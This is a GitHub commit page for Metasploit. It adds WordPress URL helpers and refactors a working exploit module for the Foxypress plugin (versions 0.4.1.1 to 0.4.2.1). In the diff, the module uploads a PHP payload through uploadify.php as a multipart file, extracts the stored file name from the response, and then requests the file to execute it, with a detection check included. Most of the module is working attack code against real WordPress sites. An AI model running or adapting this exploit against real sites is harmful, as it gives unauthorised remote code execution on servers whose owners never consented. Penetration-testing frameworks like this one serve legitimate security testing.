Skip to content

Commit 820ea7e

Browse files
committed
Land rapid7#3577, @firefart's update for wordpress foxypress module
2 parents 0208420 + 621e85a commit 820ea7e

File tree

2 files changed

+52
-52
lines changed

2 files changed

+52
-52
lines changed

lib/msf/http/wordpress/uris.rb

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -80,4 +80,25 @@ def wordpress_url_admin_ajax
8080
normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
8181
end
8282

83+
# Returns the Wordpress wp-content dir URL
84+
#
85+
# @return [String] Wordpress wp-content dir URL
86+
def wordpress_url_wp_content
87+
normalize_uri(target_uri.path, wp_content_dir)
88+
end
89+
90+
# Returns the Wordpress plugins dir URL
91+
#
92+
# @return [String] Wordpress plugins dir URL
93+
def wordpress_url_plugins
94+
normalize_uri(wordpress_url_wp_content, 'plugins')
95+
end
96+
97+
# Returns the Wordpress themes dir URL
98+
#
99+
# @return [String] Wordpress themes dir URL
100+
def wordpress_url_themes
101+
normalize_uri(wordpress_url_wp_content, 'themes')
102+
end
103+
83104
end

modules/exploits/unix/webapp/php_wordpress_foxypress.rb

Lines changed: 31 additions & 52 deletions
Original file line numberDiff line numberDiff line change
@@ -8,17 +8,19 @@
88
class Metasploit3 < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

11-
include Msf::Exploit::Remote::HttpClient
11+
include Msf::HTTP::Wordpress
12+
include Msf::Exploit::FileDropper
1213

1314
def initialize(info = {})
14-
super(update_info(info,
15+
super(update_info(
16+
info,
1517
'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution',
16-
'Description' => %q{
18+
'Description' => %q(
1719
This module exploits an arbitrary PHP code execution flaw in the WordPress
1820
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
1921
file upload and remote code execution via the uploadify.php script. The Foxypress
20-
plug-in versions 0.4.2.1 and below are vulnerable.
21-
},
22+
plug-in versions 0.4.1.1 to 0.4.2.1 are vulnerable.
23+
),
2224
'Author' =>
2325
[
2426
'Sammy FORGIT', # Vulnerability Discovery, PoC
@@ -27,79 +29,56 @@ def initialize(info = {})
2729
'License' => MSF_LICENSE,
2830
'References' =>
2931
[
30-
['EDB', '18991'],
31-
['OSVDB', '82652'],
32-
['BID', '53805'],
32+
%w(EDB 18991),
33+
%w(OSVDB 82652),
34+
%w(BID 53805)
3335
],
3436
'Privileged' => false,
35-
'Payload' =>
36-
{
37-
'Compat' =>
38-
{
39-
'ConnectionType' => 'find',
40-
},
41-
},
4237
'Platform' => 'php',
4338
'Arch' => ARCH_PHP,
44-
'Targets' => [[ 'Automatic', { }]],
39+
'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]],
4540
'DisclosureDate' => 'Jun 05 2012',
4641
'DefaultTarget' => 0))
47-
48-
register_options(
49-
[
50-
OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]),
51-
], self.class)
5242
end
5343

5444
def check
55-
uri = target_uri.path
56-
57-
res = send_request_cgi({
45+
res = send_request_cgi(
5846
'method' => 'GET',
59-
'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php")
60-
})
47+
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')
48+
)
6149

62-
if res and res.code == 200
63-
return Exploit::CheckCode::Detected
64-
else
65-
return Exploit::CheckCode::Safe
66-
end
50+
return Exploit::CheckCode::Detected if res && res.code == 200
51+
52+
Exploit::CheckCode::Safe
6753
end
6854

6955
def exploit
70-
71-
uri = normalize_uri(target_uri.path)
72-
uri << '/' if uri[-1,1] != '/'
73-
74-
peer = "#{rhost}:#{rport}"
75-
7656
post_data = Rex::MIME::Message.new
77-
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
57+
post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
7858

7959
print_status("#{peer} - Sending PHP payload")
8060

81-
res = send_request_cgi({
61+
res = send_request_cgi(
8262
'method' => 'POST',
83-
'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php"),
84-
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
63+
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'),
64+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
8565
'data' => post_data.to_s
86-
})
66+
)
8767

88-
if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
68+
if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
8969
print_error("#{peer} - File wasn't uploaded, aborting!")
9070
return
9171
end
9272

93-
print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
94-
res = send_request_cgi({
95-
'method' => 'GET',
96-
'uri' => normalize_uri(uri, "wp-content/affiliate_images", "#{$1}.php")
97-
})
73+
filename = "#{Regexp.last_match[1]}.php"
9874

99-
if res and res.code != 200
100-
print_error("#{peer} - Server returned #{res.code.to_s}")
101-
end
75+
print_good("#{peer} - Our payload is at: #{filename}. Calling payload...")
76+
register_files_for_cleanup(filename)
77+
res = send_request_cgi(
78+
'method' => 'GET',
79+
'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename)
80+
)
10281

82+
print_error("#{peer} - Server returned #{res.code}") if res && res.code != 200
10383
end
104-
10584
end

0 commit comments

Comments
 (0)